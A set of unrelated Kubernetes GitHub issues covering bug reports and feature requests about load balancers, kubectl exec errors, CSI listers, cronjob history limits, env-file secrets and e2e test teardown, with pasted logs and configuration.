<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r repeating warnings are received with message \ error creating load balancer\  when creating service of type clusterip\r \r   what you expected to happen  :\r service created without warnings\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy any service of type clusterip\r   kind: service\r apiversion: v1\r metadata:\r   name: nfs-server\r spec:\r   clusterip: 10.0.118.236\r   ports:\r     - name: nfs\r       port: 2049\r     - name: mountd\r       port: 20048\r     - name: rpcbind\r       port: 111\r   selector:\r     role: nfs-server\r   \r \r   anything else we need to know?  :\r controller-manager log entry \r {\ log\ :\ i0227 22:07:22.780677       1 event.go:218  event v1.objectreference{kind:\\\ service\\\ , namespace:\\\ default\\\ , name:\\\ nfs-server\\\ , uid:\\\ 3b785bd7-1bc4-11e8-8a1a-000d3a0396df\\\ , apiversion:\\\ v1\\\ , resourceversion:\\\ 64003\\\ , fieldpath:\\\ \\\ } : type: 'warning' reason: 'creatingloadbalancerfailed' error creating load balancer  will retry : error getting lb for service default/nfs-server: service default/nfs-server  - loadbalancer not found\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-02-27t22:07:22.780844622z\ }\r {\ log\ :\ i0227 22:07:23.009676       1 azure_backoff.go:193  loadbalancerclient.list cdpaasdev  - backoff: success\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-02-27t22:07:23.00982832z\ }\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux 4.13.0-1007-azure\r - install tools: acs-engine\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r >  \r   what happened  :\r \r i made kubernetes-cluster with kubeadm and flannel.\r \r it seemed like that kubernetes cluster wa made successfully.\r and gpu pod was build  up   successfully.\r \r but i commnded \r $kubect l exec -it gpu_pod name /bin/bash,i got erroe message as below;\r \r error: error sending request: post https://10.21.xx.yy:6443/api/v1/namespaces/default/pods/chainergpu/exec?command=%2fbin%2fbash&container=chainergpu&container=chainergpu&stdin=true&stdout=true&tty=true: http: server gave http response to https client\r \r 10.21.xx.yy:maneger node ip address\r \r i want to know the way to delete this issue.\r \r   what you expected to happen  :\r \r i wish that i would be ablet to log in to gpu pod with no-error. \r \r   how to reproduce it  as minimally and precisely as possible   :\r ・kubectl version\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:13:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r ・docker version \r $ docker --version\r docker version 18.03.1-ce, build 9ee9f40\r \r ・i made kubeenetes cluster according with prcedure as blow.\r  1  all node swap off\r  2  i did kubeadm init and got results as below\r $ sudo kubeadm init --apiserver-advertise-address=10.21.141.153 --pod-network-cidr=10.244.0.0/16\r  init  using kubernetes version: v1.10.4\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r \t warning systemverification : docker version is greater than the most recently validated version. docker version: 18.03.1-ce. max validated version: 17.03\r \t warning fileexisting-crictl : crictl not found in system path\r suggestion: go get github.com/kubernetes-incubator/cri-tools/cmd/crictl\r \t warning httpproxy : connection to \ https://10.21.xx.yy\  uses proxy \ https://10.0.16.210:8080/\ . if that is not intended, adjust your proxy settings\r \t warning httpproxycidr : connection to \ 10.96.0.0/12\  uses proxy \ https://10.0.16.210:8080/\ . this may lead to malfunctional cluster setup. make sure that pod and services ip ranges specified correctly as exceptions in proxy configuration\r \t warning httpproxycidr : connection to \ 10.244.0.0/16\  uses proxy \ https://10.0.16.210:8080/\ . this may lead to malfunctional cluster setup. make sure that pod and services ip ranges specified correctly as exceptions in proxy configuration\r  preflight  starting the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  manager kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 10.21.141.153 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  generated etcd/ca certificate and key.\r  certificates  generated etcd/server certificate and key.\r  certificates  etcd/server serving cert is signed for dns names  localhost  and ips  127.0.0.1 \r  certificates  generated etcd/peer certificate and key.\r  certificates  etcd/peer serving cert is signed for dns names  manager  and ips  10.21.xx.yy \r  certificates  generated etcd/healthcheck-client certificate and key.\r  certificates  generated apiserver-etcd-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r  apiclient  all control plane components are healthy after 27.020442 seconds\r  uploadconfig  storing the configuration used in configmap \ kubeadm-config\  in the \ kube-system\  namespace\r  markmaster  will mark node manager as master by adding a label and a taint\r  markmaster  master manager tainted and labelled with key/value: node-role.kubernetes.io/master=\ \ \r  bootstraptoken  using token: jj4wta.9c21abmxnoz9kis4\r  bootstraptoken  configured rbac rules to allow node bootstrap tokens to post csrs in order for nodes to get long term certificate credentials\r  bootstraptoken  configured rbac rules to allow the csrapprover controller automatically approve csrs from a node bootstrap token\r  bootstraptoken  configured rbac rules to allow certificate rotation for all node client certificates in the cluster\r  bootstraptoken  creating the \ cluster-info\  configmap in the \ kube-public\  namespace\r  addons  applied essential addon: kube-dns\r  addons  applied essential addon: kube-proxy\r \r your kubernetes master has initialized successfully!\r \r to start using your cluster, you need to run the following as a regular user:\r \r   mkdir -p $home/.kube\r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r   sudo chown $ id -u :$ id -g  $home/.kube/config\r \r you should now deploy a pod network to the cluster.\r run \ kubectl apply -f  podnetwork .yaml\  with one of the options listed at:\r   https://kubernetes.io/docs/concepts/cluster-administration/addons/\r \r you can now join any number of machines by running the following on each node\r as root:\r \r   kubeadm join 10.21.xx.yy:6443 --token jj4wta.9c21abmxnoz9kis4 --discovery-token-ca-cert-hash sha256:6487d0ea52d7de70768f3af0950403e93449bc62befc032cd1ab4baf1d1e970e\r \r  3 i set config \r 　mkdir -p $home/.kube\r    sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r    sudo chown $ id -u :$ id -g  $home/.kube/config\r \r  4 i checked node\r $ kubectl get nodes\r name      status     roles     age       version\r manager   notready   master    1m        v1.10.4\r \r  5 i deployed flannel\r $ kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.9.1/documentation/kube-flannel.yml\r clusterrole.rbac.authorization.k8s.io \ flannel\  created\r clusterrolebinding.rbac.authorization.k8s.io \ flannel\  created\r serviceaccount \ flannel\  created\r configmap \ kube-flannel-cfg\  created\r daemonset.extensions \ kube-flannel-ds\  created\r \r  6 i checked pods and i got result as below\r $ kubectl get pods --all-namespaces -o wide\r namespace     name                              ready     status    restarts   age       ip              node\r kube-system   etcd-manager                      1/1       running   0          1m        10.21.141.153   manager\r kube-system   kube-apiserver-manager            1/1       running   0          1m        10.21.141.153   manager\r kube-system   kube-controller-manager-manager   1/1       running   0          1m        10.21.141.153   manager\r kube-system   kube-dns-86f4d74b45-vj2rm         3/3       running   0          2m        10.244.0.2      manager\r kube-system   kube-flannel-ds-krr5n             1/1       running   0          58s       10.21.141.153   manager\r kube-system   kube-proxy-9pm8f                  1/1       running   0          2m        10.21.141.153   manager\r kube-system   kube-scheduler-manager            1/1       running   0          1m        10.21.141.153   manager\r \r  7 i checked manger-node\r $ kubectl get nodes\r name      status    roles     age       version\r manager   ready     master    3m        v1.10.4\r \r  8 i deployed nvidia k8s deveice-pligin\r $kubectl create -f https://raw.githubusercontent.com/nvidia/k8s-device-plugin/v1.10/nvidia-device-plugin.yml\r daemonset.extensions \ nvidia-device-plugin-daemonset\  created\r  \r  9 i made that  manage-node would operate as worker-node \r $ kubectl taint nodes --all node-role.kubernetes.io/master-\r node \ manager\  untainted\r \r  10 i deplyed chainer gpu pod by yml file\r $ kubectl create -f chainer.yml\r pod \ chainergpu\  created\r \r  11 i checked that gpu pod was build up.\r kubectl get pod\r name         ready     status    restarts   age\r chainergpu   1/1       running   0          8s\r \r  12 i did \ kubectl exec -it chainergpu /bin/bash\  and got error message.\r $ kubectl exec -it chainergpu /bin/bash\r error: error sending request: post https://10.21.xx.yy:6443/api/v1/namespaces/default/pods/chainergpu/exec?command=%2fbin%2fbash&container=chainergpu&container=chainergpu&stdin=true&stdout=true&tty=true: http: server gave http response to https client\r \r - cloud provider or hardware configuration:\r  gpu:zotac nvidia geforce 1060\r \r - os  e.g. from /etc/os-release :\r ubuntu16.04 lts\r \r - kernel  e.g.  uname -a  :\r $ uname -a\r linux manager 4.4.0-128-generic  154-ubuntu smp fri may 25 14:15:18 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - others:\r  i used cuda8.0 and cudnn5.0

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : the csinodeinfo lister here:\r https://github.com/kubernetes/kubernetes/blob/12402742041386b82c89b1c64cb855bdc1691928/staging/src/k8s.io/csi-api/pkg/client/informers/externalversions/csi/v1alpha1/csinodeinfo.go l38\r is used in the external-attacher to get nodeid. if  csinodeinfo  already exists before external-attacher is started, the object corresponding to the target node is missing for at least a few minutes.\r https://github.com/kubernetes-csi/external-attacher/blob/9da8c6d20d58750ee33d61d0faf0946641f50770/pkg/controller/csi_handler.go l500\r \r the node lister inside the external-attacher, which is initialized the same way as the csinodeinfo lister, syncs existing objects just fine. calling the api directly works.\r lister initialization:\r https://github.com/kubernetes-csi/external-attacher/blob/9da8c6d20d58750ee33d61d0faf0946641f50770/cmd/csi-attacher/main.go l150\r \r i suspect it's a bug in listers and informers associated with crds.\r \r caused one of the test failures in  70760; other possibly related discussion around the use of crd informers in csi:  68261\r \r once this bug is fixed, https://github.com/kubernetes-csi/external-attacher/pull/90 needs to be reverted\r \r   /cc @msau42 @saad-ali @davidz627 @jsafrane @lavalamp \r / \r <!-- do not edit below this line -->\r 

public ips are expensive resources. given that we're running scalability tests on 5k-node clusters, we are unnecessarily consuming 5k ips which is a lot.\r \r we should switch our tests so that nodes have only private ip addresses.\r \r we are going to do that by configuring nat so that nodes can talk to outside world  e.g. to download image from dockerhub . but that also requires changing some correctness tests which assume public ips.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r log information: https://github.com/xichengliudui/public-repo/blob/master/logs-03.md

it would be more useful to know the amount of memory actually used on my nodes rather than that plus the cache and buffers.

if the container has been deleted  but the pod still exists, as can occur with garbage collection , the logs api returns a 404 error directly from docker:  api error  404 : no such id: 7ef69dfb99d623cad1f0351b16b2bfa6c77f36336c4fec3063083e2750ba1155   the logging api should return a cleaner error.  @kargakis

it is sometimes difficult to tell why a pod was killed due to a failed health check. this could be made easier by adding a last failed health check status section. i would like to see a last failure section under liveness in the describe output with the following fields if possible: - return code - output  for example body of http request  - timestamp

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.4-gci-1.5-upgrade-master/35/  failed:  k8s.io  deployment overlapping deployment should not fight with each other {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:92 failed to update the first deployment's overlapping annotation expected error:     < errors.errorstring | 0xc8201b65f0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1244       previous issues for this test:  31502  32947

this started happening today evening. i don't think i have enough expertise to debug this test this quickly. this is blocking the queue right now. @csbell @marun @perotinus could one of you please take a look?\r \r could this be related to pr  45924 which merged around the same time we started seeing this flake?\r \r  \r /assign @csbell @marun @perotinus \r \r cc @shashidharatd @janetkuo

\r i0727 14:32:26.621390   24885 prober.go:106  readiness probe for \ docker-registry-2-8glng_default 0c3c551d-72f3-11e7-a950-42010a800004 :registry\  failed  failure : get https://172.16.0.6:5000/healthz: http2: no cached connection was available\r    \r \r this is a bug on the client side, not the server, and should  not  be reported as a failed health check.

like other existing webhooks in kubernetes, the admission webhooks need to be able to authenticate to systems in different authentication domains.  this is true for all api servers, kube-apiserver and extension apiserver alike.  here's a picture.\r \r ! img_20171023_070323  https://user-images.githubusercontent.com/8225098/31887687-4c6ef8b6-b7c7-11e7-8d59-cdd1cea79fbe.jpg \r \r to achieve this and maintain consistency with our other webhooks like authentication and authorization, we can produce a kubeconfig file with authentication stanza names that are patterns.   foo.bar.svc  matches  foo.bar.svc .    .b.svc  matches  a.b.svc  and  c.d.svc .      is effectively the default for everything.  this creates a file like this which any server can use to configure how it will authenticate to webhooks.\r \r    yaml\r apiversion: v1\r users:\r - name:  \r - name: kubernetes.default.svc\r   user:\r     token: sa-token or other in cluster config\r - name:  .b.svc\r   user:\r     token: differet-token\r - name: foo.bar.svc\r   user:\r     client-certificate-data: <data>\r     client-key-data: <data>\r    \r \r \r \r @kubernetes/sig-auth-api-reviews @deads2k @ericchiang @liggitt  in particular\r @kubernetes/sig-api-machinery-pr-reviews @lavalamp @caesarxuchao @sttts @cheftako

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubectl logs sometimes didn't work \r fail with error:  error from server  notfound : the server could not find the requested resource   pods/log xmr-b0v3d   but not always.. , after investigation \r i've found that for some pods, on one master servers for the same resource , ie : \r   given a pod xmr-b0v3d in \ default\  namespace   \r  curl http://localhost:8080/api/v1/namespaces/default/pods/xmr-b0v3d/log?follow=true&taillines=10 \r i get results... on the other two master nodes i get \r    \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server could not find the requested resource   pods/log xmr-b0v3d \ ,\r   \ reason\ : \ notfound\ ,\r   \ details\ : {\r     \ name\ : \ xmr-b0v3d\ ,\r     \ kind\ : \ pods/log\ \r   },\r   \ code\ : 404\r }\r    \r \r   what you expected to happen  :\r all apiservers should be backed by same data \r \r   how to reproduce it  as minimally and precisely as possible   :\r i really don't know ;  \r \r   anything else we need to know?  :\r etcd cluster v3 is  healthy\r    \r https://xxxxx:2379 is healthy: successfully committed proposal: took = 1.555631ms\r https://xxxxx:2379 is healthy: successfully committed proposal: took = 1.852799ms\r https://xxxxx:2379 is healthy: successfully committed proposal: took = 2.463205ms\r    \r and  obviously all nodes points to sam etcd cluster\r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.7\r \r \r i'm asking you what command i can use to better investigate this problem i'll be happy to deeply inspect this problem...\r \r now what another weird things is that restarting kubelet on those master-nodes seems to fix the issue !?!?! after kubelet  only the kubelet  restart \r  curl http://localhost:8080/api/v1/namespaces/default/pods/xmr-b0v3d/log?follow=true&taillines=10 \r return results!   port 8080 is binded to apiserver, why the kubelet influence that ?   \r \r thank you,\r francesco

we should have e2e feature for resizing in gce environment. also add unit tests for node restrictions.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i create a cronjob with   \r successfuljobshistorylimit: 1\r failedjobshistorylimit: 3\r but my all job history exist always\r and my controller-manager have error log: error syncing job: operation cannot be fulfilled on jobs.batch \ curator-1519625280\ : the object has been modified; please apply your changes to the latest version and try again\r \r when i delete the cronjob, jobs created by the cronjob don't deleted\r \r   what you expected to happen  :\r get 4 history at most\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl apply -f clear.yml\r and this my yaml file\r    yaml\r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   name: curator\r spec:\r   concurrencypolicy: replace\r   successfuljobshistorylimit: 1\r   failedjobshistorylimit: 3\r   startingdeadlineseconds: 60\r   schedule: \  /1        \ \r   jobtemplate:\r     spec:\r       backofflimit: 1\r       activedeadlineseconds: 30\r       template:\r         spec:\r           containers:\r           - name: clear\r             env:\r             - name: log_level\r               value: debug\r             image: ymian/curator:latest\r             imagepullpolicy: always\r           restartpolicy: never\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r no cloud provider\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux dev-7 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r kubeadm\r - others:\r

i was working on separate demo based on guestbook-go example and wanted to push some updates to it's code. \r but looks like there are multiple versions. about 6 months ago some examples were moved to https://github.com/kubernetes/examples and have their readme mention it. \r it was not noticed couple of times and resulted in new examples still being added to old location.\r i think remaining examples should be moved and whole directory removed to avoid confusion. \r \r to allow anyone to pick that issue would be nice to for someone to describe what else should be done beside removing directory so nothing breaks  docs, etc. \r \r /area example\r   cc @ahmetb\r

as custom resources and the controllers using the kubernetes api becomes more commonplace, we need to be able to provide metrics and tools that can help developers of said controllers make informed decisions.  without such information, well intentioned developers could cause clusters api servers to deterioriate in performance without understanding why and how to fix the problem.\r \r right now, as a developer of a controller leveraging the kubernetes api server i can obtain some knowledge of things like:\r    how many queries per second am i requesting from the api server\r    how much bandwidth is being consumed by my controller\r    how many persistent connections  if any  are being used\r \r but i'm relatively unaware of the following:\r    how much cpu and memory my controller is tasking the api server\r    how much cpu and memory my custom resources / controller tasking the etcd cluster\r    how much storage are my custom resources  if any  are consuming\r \r it would be great if there were some ways to effectively profile a controller and understand min/max/median, 1%/5%/95%/99% intervals of these metrics over a period of time.  \r \r none of this is easily provided to a developer unless they know to install something like  kube-prometheus  https://github.com/coreos/prometheus-operator/tree/master/contrib/kube-prometheus  and even then it may not be intuitive for someone who doesn't know where to look for such information.  and even then, it does not provide all of this information.\r \r providing such information could help developers make decisions like:\r    should my custom resource really live on its own api server through api aggregation\r    if a worker queue is being used, how many parallel workers are too many workers for the api server\r \r rough metrics such as queries may not fully tell the tale.  some queries  with field selectors, etc.  may be more expensive for the api server to process than others.  even the same query might be much more difficult for the api server if there are 10k resources to evaluate vs 25.  none of this is presented to the user/developer.  \r \r i personally thought label selectors were somehow more efficient than seemingly arbitrary field selectors, but this in fact not true.  other people probably are unaware as well.\r \r when some _core_ api resources are created, updated or removed, they trigger other actions beyond the resource directly being acted on.  this may be unaware to the developer.\r \r some suggestions / observations:\r    is this a good use of opentracing?\r    should/could very granular metrics be pushed into prometheus?\r    could we ever create alerts/graphs when a specific consumer  controller  is becoming a \ bad\  user?\r    would it ever make sense to have istio-ish rate limiting for controllers access the api server?\r    what may be nice is to see information similar to how redis explains  complexity of its methods  https://redis.io/commands/zpopmax \r    publishing an official guide on how to move from a cr to api aggregation\r \r in many ways, the api server is a database or a message bus for controllers.  database systems often provide information about the complexity of any operation, ability to profile the usage based on account, enforce quotas.  we might not be able to do all of this, but perhaps we can start to provide some of this tooling.\r \r  \r

bug report\r \r   what happened  :\r \r livenessprobe lead to  restart pod \r \r but the init-containers section do not execute again\r \r   what you expected to happen  :\r \r all  init-containers re_execute if  livenessprobe lead to restart\r \r i see https://kubernetes.io/docs/concepts/workloads/pods/init-containers/ but no idea\r \r ---\r use  redis store status\r \r      expected\r    \r loop {\r init:         del contain_name\r liveness:  exists contain_name \r if get alert:  set contain_name 1\r       liveness lead restart pod\r }\r \r    \r \r ---\r \r now\r    \r init:         del contain_name\r liveness:  exists contain_name \r get alert:  set contain_name 1\r liveness lead restart.restart.restart......\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.11\r - os  e.g. from /etc/os-release :\r centos 7\r - kernel  e.g.  uname -a  :\r 3.10.0

i'm trying to create a secret from an environment variables file  containing key=value pairs  using:  kubectl create secret generic --from-env-file .  one key is a private key so its value spans multiple lines.  how can i do this?  i have tried enclosing the value in single quotes, ie:\r    \r private_key='-----begin rsa private key-----\r ...\r -----end rsa private key-----\r '\r    \r likewise double-quotes.  a here-string doesn't work, ie:\r    \r private_key=<<eof\r -----begin rsa private key-----\r ...\r -----end rsa private key-----\r eof\r    \r i've also tried replacing the end-of-lines with a \ \r all have the same result when trying to create the secret:\r    \r kubectl create secret generic secrets --from-env-file=secrets-decrypted.yaml\r error: \ -----end rsa private key----\\\ \  is not a valid key name: a valid environment variable name must consist of alphabetic characters, digits, '_', '-', or '.', and must not start with a digit  e.g. 'my.env-name',  or 'my_env.name',  or 'myenvname1', regex used for validation is ' -._a-za-z  -._a-za-z0-9  ' \r    \r i've also tried different tabulations from the second line onwards to no avail.  creating this secret from a yaml k8s secret manifest isn't an option for us because we have too many other dependencies on the env vars file format.  \r \r is this an enhancement request?  other env-var reading libraries, eg  this  https://github.com/motdotla/dotenv rules  expand \  to new lines, but imo, better to support here-strings, per the second example above  <<eof .

test runs occasionally fail to tear down 1 or more resources due to transient issues. when this happens it breaks that test job because kube-down never completely cleans up and you have to manually delete resources.  example from  kubernetes-e2e-gce-scalability/4998  https://storage.cloud.google.com/kubernetes-jenkins/logs/kubernetes-e2e-gce-scalability/4998       16:29:05 run starting at wed mar  2 16:29:05 pst 2016 16:29:05 found kubernetes version: v1.2.0-alpha.8.865+5214ae1c89cc7f 16:29:05 uploading version to: gs://kubernetes-jenkins/logs/kubernetes-e2e-gce-scalability/4998/started.json 16:29:06 + artifacts=/var/lib/jenkins/jobs/kubernetes-e2e-gce-scalability/workspace/_artifacts 16:29:06 + mkdir -p /var/lib/jenkins/jobs/kubernetes-e2e-gce-scalability/workspace/_artifacts 16:29:06 + export e2e_report_dir=/var/lib/jenkins/jobs/kubernetes-e2e-gce-scalability/workspace/_artifacts 16:29:06 + e2e_report_dir=/var/lib/jenkins/jobs/kubernetes-e2e-gce-scalability/workspace/_artifacts 16:29:06 + declare -r gcp_list_resources_script=./cluster/gce/list-resources.sh 16:29:06 + declare -r gcp_resources_before=/var/lib/jenkins/jobs/kubernetes-e2e-gce-scalability/workspace/_artifacts/gcp-resources-before.txt 16:29:06 + declare -r gcp_resources_cluster_up=/var/lib/jenkins/jobs/kubernetes-e2e-gce-scalability/workspace/_artifacts/gcp-resources-cluster-up.txt 16:29:06 + declare -r gcp_resources_after=/var/lib/jenkins/jobs/kubernetes-e2e-gce-scalability/workspace/_artifacts/gcp-resources-after.txt 16:29:06 +    gce == \\g\\c\\e    16:29:06 +    -x ./cluster/gce/list-resources.sh    16:29:06 + gcp_list_resources=true 16:29:06 +    ! -z ''    16:29:06 +    true == \\t\\r\\u\\e    16:29:06 + go run ./hack/e2e.go -v --down 16:29:07 2016/03/02 16:29:07 e2e.go:195: running: teardown 16:29:07 project: kubernetes-jenkins 16:29:07 zone: us-central1-f 16:29:07 shutting down test cluster in background. 16:29:07 error:  gcloud.compute.firewall-rules.delete  some requests did not succeed: 16:29:07  - the resource 'projects/kubernetes-jenkins/global/firewalls/e2e-scalability-minion-e2e-scalability-http-alt' was not found 16:29:08 error:  gcloud.compute.firewall-rules.delete  some requests did not succeed: 16:29:08  - the resource 'projects/kubernetes-jenkins/global/firewalls/e2e-scalability-minion-e2e-scalability-nodeports' was not found 16:29:08 bringing down cluster using provider: gce 16:29:09  16:29:10 all components are up to date. 16:29:10  16:29:10 all components are up to date. 16:29:10  16:29:10 all components are up to date. 16:29:10 project: kubernetes-jenkins 16:29:10 zone: us-central1-f 16:29:14 2016/03/02 16:29:14 e2e.go:201: error running teardown: exit status 1 16:29:14 2016/03/02 16:29:14 e2e.go:197: step 'teardown' finished in 6.997546911s 16:29:14 +    true == \\t\\r\\u\\e    16:29:14 + ./cluster/gce/list-resources.sh 16:29:27 +    true == \\t\\r\\u\\e    16:29:27 + go run ./hack/e2e.go -v --up 16:29:27 2016/03/02 16:29:27 e2e.go:195: running: get status 16:29:27 project: kubernetes-jenkins 16:29:27 zone: us-central1-f 16:29:27 client version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.8.865+5214ae1c89cc7f\ , gitcommit:\ 5214ae1c89cc7fd8aa836f93a940aa2e5917fbf6\ , gittreestate:\ clean\ } 16:29:27 error: couldn't read version from server: the server could not find the requested resource 16:29:27 2016/03/02 16:29:27 e2e.go:201: error running get status: exit status 1 16:29:27 2016/03/02 16:29:27 e2e.go:197: step 'get status' finished in 54.557559ms 16:29:27 2016/03/02 16:29:27 e2e.go:195: running: up 16:29:27 project: kubernetes-jenkins 16:29:27 zone: us-central1-f 16:29:27 ... starting cluster in us-central1-f using provider gce 16:29:27 ... calling verify-prereqs 16:29:27  16:29:27 all components are up to date. 16:29:28  16:29:28 all components are up to date. 16:29:28  16:29:28 all components are up to date. 16:29:28 ... calling kube-up 16:29:28 project: kubernetes-jenkins 16:29:28 zone: us-central1-f 16:29:29 +++ staging server tars to google storage: gs://kubernetes-staging-a978d0a66e/e2e-scalability-devel 16:29:37 +++ kubernetes-server-linux-amd64.tar.gz uploaded  sha1 = 4ab48d1409e20cc111813efdcd1548ce137398b5  16:29:39 +++ kubernetes-salt.tar.gz uploaded  sha1 = 71a4da6a6b4a166373e6f24c00834e2c50aeeb29  16:29:40 starting master and configuring firewalls 16:29:49 created  https://www.googleapis.com/compute/v1/projects/kubernetes-jenkins/zones/us-central1-f/disks/e2e-scalability-master-pd . 16:29:49 name                      zone          size_gb type   status 16:29:49 e2e-scalability-master-pd us-central1-f 20      pd-ssd ready 16:29:56 created  https://www.googleapis.com/compute/v1/projects/kubernetes-jenkins/regions/us-central1/addresses/e2e-scalability-master-ip . 16:29:57 created  https://www.googleapis.com/compute/v1/projects/kubernetes-jenkins/global/firewalls/e2e-scalability-master-https . 16:29:57 name                         network         src_ranges rules   src_tags target_tags 16:29:57 e2e-scalability-master-https e2e-scalability 0.0.0.0/0  tcp:443          e2e-scalability-master 16:29:57 generating certs for alternate-names: 